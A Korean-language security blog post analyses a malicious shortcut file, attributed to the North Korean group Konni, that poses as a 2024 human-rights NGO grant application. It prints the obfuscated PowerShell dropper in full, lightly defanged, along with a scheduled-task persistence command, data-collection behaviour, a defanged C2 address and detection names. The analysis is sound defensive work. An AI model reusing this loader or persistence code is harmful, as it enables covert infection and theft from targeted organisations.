꿈을꾸는 파랑새

오늘은 북한의 해킹 그룹인 Konni(코니)로 추정이 되는 2024년 북한인권 민간단체 전략활동 지원사업 신청서.lnk에 대해 글을 적어 보겠습니다. 일단 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:2024년 북한인권 민간단체 전략활동 지원사업 신청서.lnk
사이즈:33.0 MB
MD5:cfffb45df8f05d1cb5d9d95fd5a83e9e
SHA-1:4f069b3c3d4ecf90a7f8a3836ac957dfcd90e944
SHA-256:00b6a18a47bdecbf3f97e0a9188e0080a59d87beb4002e8775b036ddee978d37

일단 해당 파워셀에 포함된 코드는 다음과 같습니다.

2024년 북한인권 민간단체 전략활동 지원사업 신청서 에 포함된 파워셀 코드
2024년 북한인권 민간단체 전략활동 지원사업 신청서 에 포함된 파워셀 코드

/c Set a4qw7afej=etodrpyswhnli && call %a4qw7afej:~
5,1%(%)a4(q)w7afej:(~)2,1%%a4qw(7)afej:~8,1(%)%a4q(w)7a
fej:~0,1%%a(4)qw7afej:~4,1%%a4q(w)7afej:~7,1%(%)a(4)qw7a
fej:~9,1%%(a)4qw7afej:~0,1%%a4qw7(a)fej:~11,1%%a4(q)w7afe
j:~11,1% -%a4q(w)7afej:~8,1%%a4qw(7)afej:~12,1%%(a)4qw7afej:
~10,1%%a4q(w)7afej:~3,1%%a4qw(7)afej:~2,1%%a4(q)w7afej:~8,1%%
a(4)qw7afej:~7,1%%a4qw7(a)fej:~1,1%%a4(q)w7afej:~6,1%%a4qw7(a
)fej:~11,1%%(a)4q(w)7afej:~0,1% %a4q(w)7afej:~9(,)1%%a4qw(7)af
ej:~12,1%%a4qw(7)afej:~3,1%%a4(q)w7afej:~3,1%%(a)4qw7(a)fej:~0
,1%%a4qw7(a)fej:~10,1% "$(N)iQttN1 = Get(-)Location;if($NiQ(t)tN1 -Mat
ch 'System(3)2' -or $NiQ(t)tN1 -Mat(c)h 'Prog(r)am Files') {$N(i)QttN1 
= '%temp%'};$W7plh7D(3)zZI=@('(.)lnk');$urhL(T)9eZ3Vc = Get-ChildItem (-
)Path $NiQtt(N)1 -Recurse *(.)* -File | wher(e) {$_.exten(s)ion -in $W7p
(l)h7D3zZI} | where(-)object {$_.length -e(q) 0x0210C(C)CC} | Select-(O)
bject -Expand(P)roper(t)y FullName;$aqucL5(h)psgw_ = New-Ob(j)ect System
.IO.(F)ileStream($urhLT9eZ3Vc, [System.IO(.)FileMode]::Open, [System.IO(
.)FileAccess]::Read);$a(q)ucL5hpsgw_.Seek(0x00(0)01A0D, [System.IO.See(k
)Origin]::Begin);$cqcRL(0P)BMTfs = Ne(w)-Object byte[] 0x0000ABF6;($)aqu
cL5hp(s)gw_.Read($cqcRL0PBM(T)fs, 0, 0x000(0)ABF6);$smR(W)m5tMSPXA = $ur
hLT9eZ(3)Vc.replace('(.)lnk','(.)hwpx');sc $smRW(m)5tMSPXA $cqcR(L)0PBMT
fs -En(c)oding Byte;& $(s)mRWm5tMSPXA;$aqu(c)L5hpsgw_.Seek(0(x)0000C603,
[System.IO(.)SeekOrigin]::Be(g)in);$pyZmuKvG=(N)ew-Object byte[] 0x00000
6(8)0;($)aqucL5hpsgw_(.)Read($pyZmuKvG, 0, 0x000(0)0680);$aqucL5h(p)sgw_
.Close();Remove(-)Item -Pat(h) $u(r)hLT9eZ3Vc -Force;$xGE_47GiT6=$env:pr
ogramdata + '\MicrosoftEdge';mkdir $xGE_47GiT6;$oy(Y)sDBuAJ=$xGE_47GiT6 
+ '\gewcdqa.c' (+) 'ab';sc $oyYsDB(u)AJ $p(y)ZmuKvG -Encoding Byte;ex(p)
and $oyYsDBuAJ -f:* $xGE(_)47GiT6;$fXoeoY(o)=$xGE_47Gi(T)6 + '\parkonA.b
' (+) 'at';&$fXoeoYo;Remove(-)Item -Path $oyYsDBuAJ -Force;"
 iconlocation: (.)hwpx
}

코드 분석

1. 환경 변수 설정 및 호출
a4qw7a(f)ej 변수에 etodrpyswhnli 값을 설정하고, 이를 특정 인덱스 순서대로 재배열하여 호출하여 powershell 실행
2.경로 설정: 현재 위치를 확인하고 만약 System32 또는 Program Files 디렉터리에 있다면 %temp% 디렉터리로 변경
파일 검색:(.)lnk 파일 중 길이가 0x0210(C)CCC인 파일을 재귀적으로 검색하여 FullName 속성을 추출
파일 읽기: 찾은 파일을 읽어 특정 오프셋에서 바이트 데이터를 읽어옴
파일 생성 및 실행: 읽어온 데이터를 바이트 파일로 저장하고 해당 파일을 실행
추가 데이터 읽기: 다른 오프셋에서 추가 데이터를 읽어 또 다른 파일로 저장하고 이를 확장하고 실행
정리: 임시 파일들을 삭제
.lnk 파일을 찾아 그 내용을 다른 파일로 변환한 후 실행
PowerShell 창을 숨긴 상태로 실행 사용자에게 보이지 않게 하여 악성 활동을 숨기며 재 디렉터리를 확인하고, 만약 System32나 Program Files 디렉터리라면 임시 디렉터리로 변경합니다. 이는 시스템 파일을 수정하는 것을 피하기 위함
.lnk 파일 중에서 크기가 0x0210(C)CCC인 파일을 검색하여 파일 이름을 추출

2024년 북한인권 민간단체 전략활동 지원사업 신청서
2024년 북한인권 민간단체 전략활동 지원사업 신청서


파일을 열고 특정 오프셋에서 바이트 데이터를 읽어오는 과 동시 읽어온 데이터를 (.)hwpx 파일로 변환하여 저장하고 실행
다른 오프셋에서 추가 데이터를 읽어 또 다른 파일로 저장하고, 이를 확장
확장된 파일을 실행하고 임시 파일들을 삭제
C:\Windows\system32\expand.exe" C:\ProgramData\MicrosoftEdge\gewcdqa.cab -f:* C:\ProgramData\MicrosoftEdge

gewcdqa.cab 에 포함된 bat 코드악성코드 가 생성한 파일
gewcdqa.cab 에 포함된 bat 코드

해당 코드 설명

expand 도구를 사용하여 압축된 파일을 확장하는 명령어
C:\Windows\system32\expand.exe:expand 명령어의 경로
Windows 시스템에서 기본적으로 제공되는 압축 해제 도구
C:\ProgramData\MicrosoftEdge\gewcdqa.cab:압축된 .cab 파일의 경로
-f:*: expand 명령어의 옵션으로 모든 파일을 확장하라는 의미
C:\ProgramData\MicrosoftEdge: 압축 해제된 파일들이 저장될 경로
세부 해석
expand.exe:해당 도구는 Windows에서 제공하는 명령줄 기반의 압축 해제 도구로 .cab 파일을 포함한 여러 유형의 압축 파일을 해제할 수 있음
C:\ProgramData\MicrosoftEdge\gewcdqa.cab:해당 파일은 압축된 상태로 저장된 .cab 파일
-f:: expand 명령어의 옵션
-f:*는 .cab 파일에 포함된 모든 파일을 확장하라는 의미
특정 파일을 지정할 수도 있지만, *를 사용하여 모든 파일을 포함하도록 지시
C:\ProgramData\MicrosoftEdge: 확장된 파일들이 저장될 경로 지정된 경로로 압축을 해제
실제 작업 과정
해당 명령어를 실행하면 C:\ProgramData\MicrosoftEdge\gewcdqa.cab 파일에 포함된 모든 파일이 C:\ProgramData\MicrosoftEdge 폴더로 확장
즉 디렉터리에 새로운 파일들이 생성됨을 의미
명령어가 실행되고 원본. cab 파일에 포함된 모든 파일이 MicrosoftEdge 디렉터리에서 사용 가능
그리고 해당 gewcdqa.cab 에서는 다음과 같은 파일들이 존재하는 것을 확인할 수가 있습니다.
parkonA.bat에서는 난독화된 상태로, 변수의 특정 인덱스를 통해 명령어를 생성합니다.
최종적으로 다음 명령어를 사용합니다.

parkonA.bat 에 포함된 vbs 난독화 코드
parkonA.bat 에 포함된 vbs 난독화 코드

schtasks  /create /sc minute /mo 13 /tn "MicrosoftEdgeEasyUpdate" /tr "cmd /q /c \"start \"Microsoft Edge Updater\" /min \"C:\Users\Admin\AppData\Local\Temp\parkon(.)bat\" &exit\"" /f

코드 설명

명령어는 13분마다 C:\Users\Admin\AppData\Local\Temp\parkon.bat 파일을 실행하도록 예약된 작업을 생성
parkon.bat 파일이 악성 코드일 경우 해당 명령어는 시스템을 악성코드를 지속적인 실행 방법을 설정하기 위해서 존재합니다.
그리고 해당 동작이 성공하면 다음과 같은 파일을 생성합니다.
uname(.)data:컴퓨터 이름(Computername)
udesk(.)data:데스크탑 파일 리스트(%Desktop% Filelist)
udocu(.)data:문서 파일 리스트(%Documents% Filelist)
그리고 해당 악성코드 사이트를 이용합니다.

hxxps://company536.cafe24(.)com/
183(.)111(.)174(.)68

카페24 이라는 전자상거래 플랫폼 기업에서 운영 중인 사이트를 한 개 털어서 이용한 것을 추측할 수가 있습니다. 즉 사이트 관리 잘해야 한다는 것입니다.
그리고 Parkon 부분은 다음과 같이 동작을 할것 같습니다.
parkonA:whoami, systeminfo, ipconfig]
parkonC:Powershell 실행(다운로드)
parkonD:Exe 실행(다운로드)
2024-06-11 11:09:44 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.190.B9F66014
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.YAX.Pantera.190.B9F66014
Emsisoft:Heur.BZC.YAX.Pantera.190.B9F66014 (B)
eScan:Heur.BZC.YAX.Pantera.190.B9F66014
ESET-NOD32:A Variant Of Generik.FTRUNHR
GData:Heur.BZC.YAX.Pantera.190.B9F66014
Google:Detected
Ikarus:Win32.Outbreak
Kaspersky:HEUR:Trojan.WinLNK.Rufus.gen
Kingsoft:Script.Troj.BigLnk.22142
Lionic:Trojan.WinLNK.Pantera.4!c
MAX:Malware (ai Score=100)
Microsoft:Trojan:Win32/ROKRATLNK.DC!MTB
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Troj/LnkObf-H
Symantec:Scr.Mallnk!gen13
Trellix (FireEye):Heur.BZC.YAX.Pantera.190.B9F66014
Varist:LNK/ABRisk.BRPN-1
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Pantera.190.B9F66014
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Rufus.gen
대부분 보안 업체들은 탐지하고 있으면 일부는 사전 방역 기능을 통해서도 탐지하고 있으니 보안 업체들의 기본 설정을 사용하거나 아니며 고급사용자 분들은 조금 보안 기능을 높이는 것도 좋은 방법일 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band